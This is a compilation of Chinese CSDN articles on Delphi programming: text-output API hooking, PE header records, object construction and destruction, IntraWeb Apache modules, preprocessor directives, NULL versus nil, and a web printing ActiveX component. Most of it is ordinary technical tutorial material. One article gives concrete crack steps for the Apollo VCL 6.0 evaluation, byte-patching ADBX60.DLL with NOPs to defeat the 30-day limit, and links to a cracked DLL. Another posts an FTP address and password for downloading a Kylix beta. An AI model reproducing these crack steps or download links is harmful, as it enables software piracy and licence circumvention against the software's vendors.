@OldGetTextExtentPoint32A:=FinalFunctionAddress(@GetTextExtentPoint32A);

if @OldGetTextExtentPoint32W=nil then

@OldGetTextExtentPoint32W:=FinalFunctionAddress(@GetTextExtentPoint32W);

if @OldGetTextExtentPointA=nil then
@OldGetTextExtentPointA:=FinalFunctionAddress(@GetTextExtentPointA);

if @OldGetTextExtentPointW=nil then
@OldGetTextExtentPointW:=FinalFunctionAddress(@GetTextExtentPointW);

@ConvertTextFunction:=@ConvertFunction;

procedure UnhookTextOut;
begin
If @OldTextOutA<>nil then begin
PatchAddress(@NewTextOutA, @OldTextOutA);
PatchAddress(@NewTextOutW, @OldTextOutW);
PatchAddress(@NewExtTextOutA, @OldExtTextOutA);
PatchAddress(@NewExtTextOutW, @OldExtTextOutW);
PatchAddress(@NewDrawTextA, @OldDrawTextA);
PatchAddress(@NewDrawTextW, @OldDrawTextW);
PatchAddress(@NewDrawTextExA, @OldDrawTextExA);
PatchAddress(@NewDrawTextExW, @OldDrawTextExW);
PatchAddress(@NewTabbedTextOutA, @OldTabbedTextOutA);
PatchAddress(@NewTabbedTextOutW, @OldTabbedTextOutW);
PatchAddress(@NewPolyTextOutA, @OldPolyTextOutA);
PatchAddress(@NewPolyTextOutW, @OldPolyTextOutW);
PatchAddress(@NewGetTextExtentExPointA, @OldGetTextExtentExPointA); PatchAddress(@NewGetTextExtentExPointW, @OldGetTextExtentExPointW); PatchAddress(@NewGetTextExtentPoint32A, @OldGetTextExtentPoint32A); PatchAddress(@NewGetTextExtentPoint32W, @OldGetTextExtentPoint32W); PatchAddress(@NewGetTextExtentPointA, @OldGetTextExtentPointA); PatchAddress(@NewGetTextExtentPointW, @OldGetTextExtentPointW); end;
end;

initialization
finalization
UnhookTextOut;
end.

===================================================
unit PEStuff;

interface
uses Windows;

type
PImageDosHeader = ^TImageDosHeader;
_IMAGE_DOS_HEADER = packed record { DOS .EXE
header }
e_magic: Word; { Magic
number }
e_cblp: Word; { Bytes on last page of file }
e_cp: Word; { Pages in
file }
e_crlc: Word; {
Relocations }
e_cparhdr: Word; { Size of header in
paragraphs }
e_minalloc: Word; { Minimum extra paragraphs needed }
e_maxalloc: Word; { Maximum extra paragraphs needed }
e_ss: Word; { Initial (relative) SS value }
e_sp: Word; { Initial SP
value }
e_csum: Word; {
Checksum }
e_ip: Word; { Initial IP
value }
e_cs: Word; { Initial (relative) CS value }
e_lfarlc: Word; { File address of relocation table }
e_ovno: Word; { Overlay
number }
e_res: array [0..3] of Word; { Reserved
words }
e_oemid: Word; { OEM identifier (for
e_oeminfo) }
e_oeminfo: Word; { OEM information; e_oemid specific}
e_res2: array [0..9] of Word; { Reserved
words }
_lfanew: LongInt; { File address of new exe header }
end;
TImageDosHeader = _IMAGE_DOS_HEADER;

PIMAGE_FILE_HEADER = ^IMAGE_FILE_HEADER;
IMAGE_FILE_HEADER = packed record
Machine : WORD;
NumberOfSections : WORD;
TimeDateStamp : DWORD;
PointerToSymbolTable : DWORD;
NumberOfSymbols : DWORD;
SizeOfOptionalHeader : WORD;
Characteristics : WORD;
end;

PIMAGE_DATA_DIRECTORY = ^IMAGE_DATA_DIRECTORY;
IMAGE_DATA_DIRECTORY = packed record
VirtualAddress : DWORD;
Size : DWORD;
end;

PIMAGE_SECTION_HEADER = ^IMAGE_SECTION_HEADER;
IMAGE_SECTION_HEADER = packed record
Name : packed array [0..IMAGE_SIZEOF_SHORT_NAME-1] of Char;
VirtualSize : DWORD; // or VirtualSize (union);
VirtualAddress : DWORD;
SizeOfRawData : DWORD;
PointerToRawData : DWORD;
PointerToRelocations : DWORD;
PointerToLinenumbers : DWORD;
NumberOfRelocations : WORD;
NumberOfLinenumbers : WORD;
Characteristics : DWORD;
end;

PIMAGE_OPTIONAL_HEADER = ^IMAGE_OPTIONAL_HEADER;
IMAGE_OPTIONAL_HEADER = packed record
{ Standard fields. }
Magic : WORD;
MajorLinkerVersion : Byte;
MinorLinkerVersion : Byte;
SizeOfCode : DWORD;
SizeOfInitializedData : DWORD;
SizeOfUninitializedData : DWORD;
AddressOfEntryPoint : DWORD;
BaseOfCode : DWORD;
BaseOfData : DWORD;
{ NT additional fields. }
ImageBase : DWORD;
SectionAlignment : DWORD;
FileAlignment : DWORD;
MajorOperatingSystemVersion : WORD;
MinorOperatingSystemVersion : WORD;
MajorImageVersion : WORD;
MinorImageVersion : WORD;
MajorSubsystemVersion : WORD;
MinorSubsystemVersion : WORD;
Reserved1 : DWORD;
SizeOfImage : DWORD;
SizeOfHeaders : DWORD;
CheckSum : DWORD;
Subsystem : WORD;
DllCharacteristics : WORD;
SizeOfStackReserve : DWORD;
SizeOfStackCommit : DWORD;
SizeOfHeapReserve : DWORD;
SizeOfHeapCommit : DWORD;
LoaderFlags : DWORD;
NumberOfRvaAndSizes : DWORD;
DataDirectory : packed array
[0..IMAGE_NUMBEROF_DIRECTORY_ENTRIES-1] of IMAGE_DATA_DIRECTORY; Sections: packed array [0..9999] of IMAGE_SECTION_HEADER;
end;

PIMAGE_NT_HEADERS = ^IMAGE_NT_HEADERS;
IMAGE_NT_HEADERS = packed record
Signature : DWORD;
FileHeader : IMAGE_FILE_HEADER;
OptionalHeader : IMAGE_OPTIONAL_HEADER;
end;
PImageNtHeaders = PIMAGE_NT_HEADERS;
TImageNtHeaders = IMAGE_NT_HEADERS;

{ PIMAGE_IMPORT_DESCRIPTOR = ^IMAGE_IMPORT_DESCRIPTOR;
IMAGE_IMPORT_DESCRIPTOR = packed record
Characteristics: DWORD; // or original first thunk // 0 for
terminating null import descriptor // RVA to original unbound IAT TimeDateStamp: DWORD; // 0 if not bound,
// -1 if bound, and real date\time stamp // in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)
// O.W. date/time stamp of DLL bound to (Old BIND)
Name: DWORD;
FirstThunk: DWORD; // PIMAGE_THUNK_DATA // RVA to IAT (if bound this IAT has actual addresses)
ForwarderChain: DWORD; // -1 if no forwarders
end;
TImageImportDescriptor = IMAGE_IMPORT_DESCRIPTOR;
PImageImportDescriptor = PIMAGE_IMPORT_DESCRIPTOR;}

PIMAGE_IMPORT_BY_NAME = ^IMAGE_IMPORT_BY_NAME;
IMAGE_IMPORT_BY_NAME = record
Hint: Word;
Name: Array[0..0] of Char;
end;

PIMAGE_THUNK_DATA = ^IMAGE_THUNK_DATA;
IMAGE_THUNK_DATA = record
Whatever: DWORD;
end;

PImage_Import_Entry = ^Image_Import_Entry;
Image_Import_Entry = record
Characteristics: DWORD;
TimeDateStamp: DWORD;
MajorVersion: Word;
MinorVersion: Word;
Name: DWORD;
LookupTable: DWORD;
end;

const
IMAGE_DOS_SIGNATURE = $5A4D; // MZ
IMAGE_OS2_SIGNATURE = $454E; // NE
IMAGE_OS2_SIGNATURE_LE = $454C; // LE
IMAGE_VXD_SIGNATURE = $454C; // LE
IMAGE_NT_SIGNATURE = $00004550; // PE00

implementation

end.

=================================================
Create a new project with one form, with two buttons.
=================================================

unit PigLatinUnit;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}
procedure StartHook; stdcall; external 'PigLatinDll.DLL';
procedure StopHook; stdcall; external 'PigLatinDll.DLL';

procedure TForm1.Button1Click(Sender: TObject);
begin
WindowState:=wsMaximized;
StartHook;
Sleep(1000);
WindowState:=wsNormal;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
WindowState:=wsMaximized;
StopHook;
Sleep(1000);
WindowState:=wsNormal;
end;

initialization
finalization
StopHook;
end.

以上代码没有经过测试！


CSDN_文档中心_鼓励，很多的，Delphi高手突破，外加冷水一瓢

很久没有来了，正好来了，正好看了，Delphi高手突破，http://www.csdn.net/Develop/Read_Article.asp?id=12285

正好我也在动手写点东西,hahaha.

有些话要说，不说如鲠在喉。当然，我不会说太多，话多是水。但是，为了方便，我还是将原文部分内容加上。

关于对象内存的分配及回收

不知道有人对dl这个寄存器放在这里有什么想法没有，没有的话就想想，想好了，您就好了。实际上在下面的代码（一）之前，有这样一行代码 MOV dl， 1，那么这样说，为什么要这样，原因，不是很简单的简单，代码重复利用。关于此处dl寄存器的使用，Delphi的帮助中有一段介绍，耐心点，自己去找，找到了，您就是高手了。这就是学习，不，学渔，而不是要鱼。borland是这样说的，“我用dl寄存器来存放一个旗标，如果这个值为1，那么我就创建对象，否则，我不会创建对象。”如果您有点朦胧，那就反复想想。如果还没有睁开眼，那么，就看看后面这一段代码（二），别说您没有找到，咳，怎么回事儿，我老是再说废话，保证不说了。

｛代码（一）

test dl, dl
jz +$08
add esp, -$10
call @ClassCreate ｝

｛／／／代码（二）

procedure TApplication.CreateForm(InstanceClass: TComponentClass; var Reference);
var
Instance: TComponent;
begin
／／／／／／／ Instance := TComponent(InstanceClass.NewInstance);
TComponent(Reference) := Instance;
try
／／／／／／／ Instance.Create(Self);
except
TComponent(Reference) := nil;
raise;
end;
if (FMainForm = nil) and (Instance is TForm) then
begin
TForm(Instance).HandleNeeded;
FMainForm := TForm(Instance);
end;
end;
｝

这样的话，就是说，Delphi调用代码（一），是在第一次调用创建类的实例的时候，然后，如果，谁还需要调用Create方法，我就，不，是编译器就这样MOV dl, 0，这样代码（一）的判断0跳转指令就会到该去的地方了，（怎么又来废话了，最后一次，我保证。）实际上，这里的Create方法只是一个普通的方法，而且，您应该还注意到，第一个调用Create方法或者NewInstance方法，都是类在发出这个消息，（注意这个消息不是Windows消息，此消息非彼消息，哈哈，又来了废话，真的最后一次了，是真的。如果不理解这里的消息的话，请认真学写面向对象和建模的知识。）而后面调用Create方法却是建立起来的对象，Instance.Create(Self);好好想想，当然dl寄存器的值就变了。

好了，没有什么时间了，最后补充一点，关于旗标（台湾的翻译方法，我认为这个词不错，建议您也使用它，省得以后我多费口舌）和这个dl寄存器的使用说明，应该说不会有什么变化了，仔细想想，Delphi从1到6大方向上就没有变过，顺便也证明了Delphi的HB设计师是个人物啊，当然，我是没法比了。哈哈，又来了，好，我还是不说了。哦，最后，说一句，TObject.Create方法决不是一个空方法，记住，然后，去想。

好了，别的东西，麻烦您亲自去看，那样的话，您才有很多很多的收获。

“快滚，我要去看，去想，不要你的废话！”有人在笑！：）

bye

编译器在为对象分配内存时，所提供的支持就是在调用构造函数之前插入这几行汇编代码：

test dl, dl
jz +$08
add esp, -$10
call @ClassCreate // 注意这行代码

以上代码的最后一行代码调用的是system.pas文件的第8949行的_ClassCreate函数（以Delphi 6为准），该函数具体为每个对象分配合适的内存。内存分配完成后是调用类的构造函数以初始化数据成员。之后，编译器会再插入以下几行汇编代码：

test dl, dl
jz +$0f
call @AfterConstruction
pop dword ptr fs:[$00000000]
add esp, $0c

其中主要工作是调用每个对象实例的AfterConstruction，这个调用在Delphi中没有用，它的存在是为C++Builder所保留的。
同样，析构对象时，首先要调用类的析构函数以释放对象申请的资源。之后是回收对象本身所占内存空间，这件工作是由编译器在调用析构函数后，插入以下的汇编代码来完成的：

call @BeforeDestruction
test dl, dl
jle +$05
call @ClassDestroy

这些代码所做的工作与构造对象分配内存时所做的是对应的，主要是对system.pas中第8997行的_ClassDestroy函数的调用。

构造函数与析构函数

定义构造函数使用Constructor关键字，按惯例，构造函数名称为Create（当然也可以用其他名称，但那绝非优良的设计！）。如：

type
TMyFamily = class // 为你的家庭定义的类
Private
FMyFatherName : String; // 你父亲的名字
FMyMotherName : String; // 你母亲的名字
…… // 你家庭中的其他成员
Public
Constructor Create(strFatherName, strMotherName : String);
…… // 其它方法
End;

也许你会问，如果我没有为我的类提供构造函数，它的对象能否被建立呢？答案是：可以。原因前面已经说了，对象本身所占内存的分配是由编译器完成的。而且由于Object Pascal中，所有类（除了TObject类本身）都是从TObject类派生，因此编译器会调用TObject.Create()构造函数，只是这个函数是一个空函数，它并不会对TMyFamily类的数据成员（FMyFatherName、FMyMotherName）初始化，它们会被自动清为空字符串（即''），因为TObject.Create()根本就不认识你的父、母亲！

创建对象时则直接调用构造函数，形式如下：

MyFamilyObject := TMyFamily.Create('Zhang', 'Li');

定义析构函数使用Destructor关键字，按惯例，析构函数名称为Destroy。如：

type
TMyClass = class
Public
Destructor Destroy(); override;
End;

之所以在析构函数声明最后加上override声明，是因为保证在多态的情况下对象能正确被析构（关于多态，将在2.4节中详述）。如果不加override关键字，编译器会给出类似"Method 'Destroy' hides virtual method of base type 'TObject'"的警告提示。警告的意思是你定义的Destroy隐藏了基类的虚方法TObject.Destroy()，那样的话，在多态的情况下就无法正确析构对象了。

注意：析构函数都需要加override声明。

同样，如果在你的类中没有特殊的资源需要被释放，那么你也可以不定义析构函数。只是，在析构对象的时候，应该调用对象的Free()方法而不是直接调用Destroy()。
MyFamilyObject.Free();
这是因为在Free()方法中会判断对象本身是否为nil，如果不为nil才调用对象的Destroy()，以增加安全性。既然有这样的更安全的做法，当然没有理由不这么做了。
注意：永远不要直接调用对象的Destroy()，而应该是Free()。
由此可以得出结论，在Object Pascal中你只需关注对象所申请的资源的分配与释放，而不必关心对象本身所占空间！


CSDN_文档中心_关于 Apollo VCL 6.0 EVAL版超期使用的说明 :)

http://www.vistasoftware.com/downloads/evals/ApolloSQL60Eval.EXE

ApolloSQL60Eval.EXE 是脱离BDE操作DBF数据库的工具，今天我从他们的网站
http://www.vistasoftware.com/拉了一个下来，由于是EVAL(评估版)所以
有30天的限制，请看我的破解方法：

1 运行以上的EXE文件安装，由于它并不安装到控件版上去，
所以这个安装过程实际是解压缩拷贝文件。
2 在安装目录下的SDE60有一个文件名叫ADBX60.DLL
用16进制编辑工具查找
" 8B 08 FF 91 6C 01 00 00 33 C0"
然后将其中的
"FF 91 6C 01 00 00" 改成 "90 90 90 90 90 90 "
3 一共有两处，都要改掉。最后存盘

4 运行 delphi 6 安装这个控件(这个不要我来说了吧)就OK了

破解原因：
最近听说工商局要来查我们有没有用盗版软件，觉得不爽
所以就用它爽了一下。

重要说明：

crack之后的软件没有经过完整测试，由此引起的问题请千万
不要来找我。

Enjoy it :)
http://www.williamtull.com/vcl/ADBX60.DLL


CSDN_文档中心_关于Delphi7的IntraWeb 编译的Apache (DSO) 模块

这里有些参考http://www.blong.com/Articles/Apache%20For%20Windows/ApacheWindows.html

哈，我自己搞定了。。。。下面是最简单的做法。。。
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

一。新检一个intraweb project ，我选 apache1的

library IWDSOProject;

uses
ApacheApp,
IWInitApache,
ServerController in 'ServerController.pas' {IWServerController: TIWServerControllerBase},
IWUnit1 in 'IWUnit1.pas' {formMain: TIWForm1};

{$E so}

{$R *.RES}

exports
apache_module name 'IWDSOProject_module';

begin
IWRun(TFormMain, TIWServerController);
end.

二。编译出IWDSOProject.so ， 拷到 /apache/modules 里

三。在 apache/conf/httpd.conf 最后加上
LoadModule IWDSOProject_module modules/IWDSOProject.so
<Location /test>
SetHandler iwdsoproject-handler
</Location>

四。重启 apache服务。

五。可以浏览了喽！ http://localhost/test/

说明一下：LoadModule IWDSOProject_module modules/IWDSOProject.so
IWDSOProject_module 就是你的delphi里的 apache_module name 'IWDSOProject_module'; 中的IWDSOProject_module

SetHandler iwdsoproject-handler
，这个 iwdsoproject 就是你编译出来的文件(.so)前面的文件名的小写，再后面加上 “-handler”

嘻嘻，，，，搞定，，，linux的也这样配置就行了，apache2的也一样啦，，，

说明一下在 linux 下编译apache时一定要 ./configure --enable-module=so ，这样才能用DSO。。。。

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
最后了，大家继续讨论-------------------
有一个问题，，在win32编译出来的 .so可以直接在linux上用么？
如果不行就惨了，kylix3 没有 intraweb 啊~~~~~
--------------------

我今天见过一个程序(keygen的东东)可以同时在 win32和linux下运行哦~~~~~不知谁知道怎么搞？？？


CSDN_文档中心_关于Delphi大Bug的更详细的例子

下面是一个关于Delphi大Bug的更加详尽的例子。

我建议大家尽可以好好去试试。关于它的讨论，希望热烈一点，借此，

能对大家多少有些帮助。两外两个类似的文章在

http://www.csdn.net/develop/read_article.asp?id=12606

http://www.csdn.net/develop/read_article.asp?id=12525

下面是例子源代码，其中的设置，您尽可以自由发挥。

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, Menus, ExtCtrls, jpeg;

type
TForm1 = class(TForm)
Button1: TButton;
MainMenu1: TMainMenu;
xiangya1: TMenuItem;
Image1: TImage;
Shape1: TShape;
procedure Button1Click(Sender: TObject);
procedure xiangya1Click(Sender: TObject);
procedure Image1Click(Sender: TObject);
procedure Shape1MouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

type
TxObject = class
destructor Destroy;override;
end;
implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
var
x: TxObject;
begin
x := TxObject.Create;
ShowMessage('xiangya');
x.Free;
end;

{ TxObject }

destructor TxObject.Destroy;
begin
MessageBox(0, PChar('TxObject'),'Free',MB_OK);
inherited;
end;

procedure TForm1.xiangya1Click(Sender: TObject);
var
x: TxObject;
begin
x := TxObject.Create;
ShowMessage('xiangya');
x.Free;
end;

procedure TForm1.Image1Click(Sender: TObject);
var
x: TxObject;
begin
// x := TxObject.Create;
// ShowMessage('xiangya');
x.Free;
end;

procedure TForm1.Shape1MouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
var
xx: TxObject;
begin
// xx := TxObject.Create;
ShowMessage('xiangya');
xx.Free;
end;

end.


CSDN_文档中心_关于Delphi中预编译指令的使用方法

在Delphi中，也有与C相似的预编译指令，虽然该类指令只在当前的单个文件有效（也有可能是笔者未全面了解该类指令的真正用法），但是这一类指令对于进行多版本的制作工作（如从标准版中出学习版），确实有着相当不错的用途。

一．指令介绍：

1． DEFINE指令：

格式：{$DEFINE 名称}

说明 ：用于定义一个在当前单元有效的符号（Symbol）。定义了

之后可以使用IF DEF和IFNDEF指令来判断该符号是否存在。

2． UNDEF指令：

格式：{$UNDEF 名称}

说明：用于取消一个在当前单元已经定义的符号（Symbol）。该指令和DEFINE

配合使用。

3． IFDEF指令：

格式：{$IFDEF 名称}

说明：如果该指令后的名称已经定义，则编译该指令后直到{$ELSE}或{$ENDIF}之间的代码段。

4． IFNDEF指令：

格式：{$IFNDEF 名称}

说明：如果该指令后的名称没有定义，则编译该指令后直到{$ELSE}或{$ENDIF}之间的代码段。

5． IFOPT指令：

格式：{$IFOPT 开关}

说明：如果该指令后的开关已经设立，则编译该指令后直到{$ELSE}或{$ENDIF}之间的代码段。

举例：{$IFOPT R+}

Writeln('编译时打开范围检查开关');

{$ENDIF}

6． ELSE指令：

格式：{$ELSE}

说明：通过判断前缀Ifxxx的条件式来确定该指令到{$ENDIF}之间的代码段是否应该被编译或者忽略掉。

7． ENDIF指令：

格式：{$ENDIF}

说明：和Ifxxx配合，指明条件预编译段源代码段的结束位置。

二．范例：

编写例子，通过预先定义不同的编译符号，进行不用代码段的编译工作。

1． 新建一个Delphi项目，在Unit1单元的窗体上添加一个Button按钮。

2． 编写程序如下：

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls;

type

TForm1 = class(TForm)

Button1: TButton;

procedure FormCreate(Sender: TObject);

procedure Button1Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

a : String;

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

{$DEFINE AAA} // 定义行。

procedure TForm1.FormCreate(Sender: TObject);

begin

a := 'Other';

{$IFDEF AAA}

a := 'AAA';

{$ENDIF}

{$IFDEF BBB}

a := 'BBB';

{$ENDIF}

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

Caption := a;

end;

end.

{注：粗体字部分为输入的代码}

3． 编译后运行，按下Button，则看到窗体标题栏显示“AAA”。程序编译了a := ’AAA’的语句。

4． 改变定义行的程序段：

当改为

{$DEFINE BBB}

时，再次编译运行，则看到窗体标题栏显示“BBB”。程序编译了a := ’BBB’的语句。

当取消定义行或改为

{$DEFINE NOTHING}

或其他名称时，再次编译运行，则看到窗体标题栏显示“Other”。程序只编译了a := ’Other’的语句。

三．如何快速的制作和更改版本：

使用预编译指令，在制作同一个程序的多个版本时，只需找出各版本中有区别的单元，依次定义统一的版本符号（Symbol），然后在程序段中加入条件预编译指令，就可以在实际编译中取舍编译不同的程序部分，这样对于程序的规范性（定义统一的版本符号）和保密性（不同的版本编译不同的程序部分）有很好的作用。

然而，由于该类预编译指令只能作用于当前单元，所以不便之处在于不能在一个公共单元定义一次版本符号，而必须在各单元中定义统一版本符号才行，故此，在更换版本时，需要确定所有的版本符号都已改变，这样才能保证各版本的正确性，对此，可以使用 Delphi IDE的“Find in Files…”（多个文件中查找字符串）的功能，找出所有定义版本符号的文件和位置，然后依次更改，保证所有位置已经改正。


CSDN_文档中心_关于kylix的再次说明

近期kylix将在台湾发行，

为了让国内的同行，特别广大delphi用户也能用到 linux上的delphi，

我公布一个网址: ftp://203.148.249.2/Kylix%20by%20MaZ/

用户名和密码全为123 注意一次只能开三个线程。

不过这是kylix beta2,现在beta4版也出来了，请大家到国外网站找找


CSDN_文档中心_关于NULL,nil,0(其实都知道，只不过我把他整理成册了)（一）

关于NULL,nil,0

用过C++的Delphi的程序员都知道,C++中的NULL在Delphi中为nil,意思是空指针

在C++中 为 (void*)0 在Dlephi中 为 Pointer(0)

但是，这不是绝对，因为Handle

在C++中Handle,是一个指针

在Delphi中Handle,被理解为一个整数了,于是一切差别就从这里开始

先看一个函数吧! CreateWindow

在C++的申明为：

HWND CreateWindow(

LPCTSTR lpClassName, // pointer to registered class name

LPCTSTR lpWindowName, // pointer to window name

DWORD dwStyle, // window style

int x, // horizontal position of window

int y, // vertical position of window

int nWidth, // window width

int nHeight, // window height

HWND hWndParent, // handle to parent or owner window

HMENU hMenu, // handle to menu or child-window identifier

HANDLE hInstance, // handle to application instance

LPVOID lpParam // pointer to window-creation data

);

让我们来看看有几个指针(7个，返回值，前两个参数，后四个参数)

让我们再来看看在Delphi中的申明：

function CreateWindow(

lpClassName: PChar; // pointer to registered class name

lpWindowName: PChar; // pointer to window name

dwStyle:Integer; // window style

x: Integer; // horizontal position of window

y: Integer; // vertical position of window

nWidth: Integer; // window width

nHeight: Integer; // window height

hWndParent: Integer; // handle to parent or owner window

hMenu: Integer; // handle to menu or child-window identifier

hInstance: Integer; // handle to application instance

lpParam: Pointer // pointer to window-creation data

): Integer;

有几个指针呢？（有三个，前两个和最后一个参数）

如果在调用此函数时，夸张一点，将所有指针（以C++）全用NULL代替的话，在Delphi中，函数调用应是这样的：

hWnd:= CreateWindow( ’’,’’, ws_Child, 0,0,100,100,0,0,0,nil); //此函数只是例子

可见如果NULL指的是Handle的话，在Delphi中，它等价与0；其他吗？等价于nil（PChar暂且搁下）(见第二篇)

以上是我的一些看法，愿大家指正


CSDN_文档中心_关于WEB应用程序的打印组件开发初探

一、引言

    近些年来，随着互联网的普及和推广，传统的单机模式和局域中的Ｃ／Ｓ模式的应用程序越来越不能满足信息共享的要求。因此，一种新的基于浏览器的Ｂ／Ｓ的应用程序的开发方式被提了出来。新的开发方案以其客户端的免维护、免配置、程序能根据服务器的信息能够自动更新升级；服务器端多层模式的应有提高处理的效率和安全性越来越被广大的应用程序的开发者所看好。成为应用程序开发的一个新的发展方向。在WINDOWS的平台上，人们利用ASP来开发服务的显示界面，而用组件来封装商业规则，在各种杂志上利用各种工具进行组件开发也是屡见不鲜。但介绍打印组开发却不怎么看到。笔者希望就自已开发打印组件的一点心得体会来抛砖引玉。

二、设想

    WEB打印组件要求是在一次为某单位开发信息管理系统中被提及的，这个系统中的一些票据需要打印。这样，如何对这些票据进行套打成了我们必须解决的问题。

    要在客户端打印一些用户要求的票据或其它的文字或图片资料，有两种方式：一种是利用DELPHI的ACTIVE　FORM来生成客户端的界面，由浏览器下载安装，并在客户端运行。(这种方式在开发多后台数据库中，较为常用。在国内许多新版本的财务软件都采用了这种方法，其缺点是对开发人员的要求太高)，另一种是开发一个组件在客户端安装，然后，由服务器端来生成VBSCRIPT脚本，在客户端运行、创建相应的组件对象；利用组件对象来进行打印操作。(这种方法只要客户端的COM组件开发完成，使用者只要熟悉VBSCRIPT或JAVASCRIPT脚本语言就可能方便的调用)。本文我们主要讨论第二种方式。

三、实现

    首先、运行DELPHI 5.0；选择FILE菜单中的NEW，在弹出的对话框中选择ActiveX页，选择ActiveX Library创建ActiveX库.然后,再往新建的库中加入一个Automation Object，操作步骤同上。在Automation Object Wizard对话框中填入组件名prtTest3；单击OK。

    然后、在弹出的PrtTest3.tlb窗口中，选择IPrtTest3。单击右键新增一个IsInit的Property，类型为long。再继续增加如下5个Method:

    procedure prtCustomPage(PageWidth: Integer; PageHeight: Integer);
              safecall;

    procedure prtStart; safecall;

    procedure prtNewPage; safecall;

    procedure prtEnd; safecall;

    procedure prtDrawLine(X1: Integer; Y1: Integer; X2: Integer; Y2:
              Integer; LineWidth: Integer); safecall;

    procedure prtSetFont(const FontName: WideString; FontSize:
              Integer); safecall;

    procedure prtTextRect(VAlign: Integer; HAlign: Integer; RectLeft:
              Integer; RectTop: Integer;RectRight: Integer; RectBottom:
              Integer; const PrintString: WideString); safecall;

    它们意义是：prtCustomPage 用来设置自定义纸张.传入的参数自定义纸张的宽度和高度。

                prtStart 用来初始化打印机。如果初始化成功，则将属性IsInit置为真，反之则为假。

                prtNewPage 用来使打印机换页。

                prtEnd　　　　　结束打印任务。

                prtDrawLine 用来在页面上绘制一条线。(X1,Y1)为起始点.(X2,Y2)为终止点。LineWidth为打印线的宽度。

                prtSetFont 用来设置打印的字体名及大小。

                prtTextRect 用来指定的方框内的输出的指定的字符串。

四、调用

在脚本中调用这个组件的方法：

（１）、利用CreateObject函数创建一个打印对象。

（２）、调用prtCustomPage来指定定制的纸张的大小（以0.1毫米为基本单位）。如果，不是定制的纸张则不需要调用这个过程（即以打印默认的纸张大小进行打印）。

（３）、调用prtStart进行打印机的初始化工作。如果打印机初始化成功，则会将IsInit属性置为真，表示初始化成功；否则，表示打印机正在忙或有别的应用程序正在使用打印机，初始化不能成功。

（４）、判断IsInit标志。如果为真，则继续执行打印段。

（５）、执行打印段。可以在利用打印机画线、和在指定位置输出文字。

（注：在组件接中的所有位置单位都是0.1毫米。例如.prtObject.prtDrawLien 0,0,1000,1000 表示从左上角(0,0)毫米到右下角(100,100)毫米处，画一条直线）

（６）、利用prtEnd结束打印任务。

<SCRIPT LANGUAGE="VBScript">

<!--

Sub TestPrtObject

Dim prtObject

Set prtObject=CreateObject("PrtTest3.PrtTest3")

prtObject.prtCustomPage 1000,1000

prtObject.prtStart

if prtObject.IsInit then

prtObject.prtDrawLine 0,0,1000,1000,1

prtObject.prtDrawLine 500,700,1000,1000,1

prtObject.prtSetFont "宋体",16

prtObject.prtTextRect 2,2,0,0,1000,500,"ＷＥＢ应用程序打印测试"

prtObject.prtEnd

end if

Set prtObject=Nothing

End Sub

TestPrtObject()

//-->

</SCRIPT>

五、代码解析

    在这个组件中，我们所要解决的几个问题：

（１）、在Delphi的应用程序设计中自定义打印纸张的设置，Delphi中自身带了一个QuickReport的打印设计程序，这个程序在一定的程度上方便了打印的设计，但这个设计程序对于自定义纸张的设定和打印支持却不是很好。因此，在这个组件中我们采用手工代码来设定自定义纸张大小。

Function TPrtTest3.InitPrintPaper:Boolean;

Var

Device:Array [0..cchDeviceName-1] of Char;

Driver:Array [0..(max_path-1)] of Char;

Port:Array [0..32] of Char;

hDMode:THandle;

pDMode:PDevMode;

Begin

Result:=True;

if PrtIsCustomPaper then

Begin

{设置打印机段}

Printer.GetPrinter(Device,Driver,Port,hDMode);

if hDMode<>0 then Begin

Try

pDMode:=GlobalLock(hDMode);

if pDMode<>nil then Begin

//设定打印的方向为纵向或横向

if PaperOrientation<>0 then
                  pDMode^.dmOrientation:=DMORIENT_LANDSCAPE

else pDMode^.dmOrientation:=DMORIENT_PORTRAIT;

              //设置拷贝份数为1份.

pDMode^.dmCopies:=1;

              //以毫米为单位的纸张大小.

pDMode^.dmPaperLength:= PaperHeight*10;

pDMode^.dmPaperWidth:=PaperWidth*10;

              //设置纸张类型为用户自定义.

pDMode^.dmPaperSize:=DMPAPER_USER;

end;

GlobalUnLock(hDMode);

Printer.SetPrinter(Device,Driver,Port,hDMode);

except

Result:=False;

end;

end else Begin

Result:=False;

end;

end;

end;

（２）、打印位置的确定：由于组件是以图形方式进行打印，这就使得我们可以精确指向打印文件的输出位置，以便于进行对某些票据的套打。但这样就产生一个问题，我们是以打印的像素位置指定输入位置，还是以打印尺寸来指定位置。显然，利用像素来输出打印位置，对于编制程序来说是比较方便的。但由于一般用户对像素的概念并不理解，因此会带来使用上的困难；而且每一种打印机的分辩率是不一样的，因此，会出现在不同打印机上打印的效果不一样的问题。而以打印尺寸来指定位置并在程序中妥善加以处理就不会有上面的问题。具体的处理方法是，由用户输入尺寸位置。然后，在打印时，首先取得当前打印机的分辩率（注意：分辨率是以每英寸多少像素为单位的），再计算得出实际输入的像素位置后进行打印，这样就可以使得组件更加实用，而且，保持打印幅面的一致。具体的函数如下。

Function TPrtTest3.MMtoPrintPixel(InputPoint:TPoint):TPoint;

Begin

Result.x:=MMtoPrintPixelX(InputPoint.x);

Result.y:=MMtoPrintPixelY(InputPoint.y);

end;

Function TPrtTest3.MMtoPrintPixelX(InputX:Integer):Integer;

Begin

if QueryPrintlogPixel then

Begin

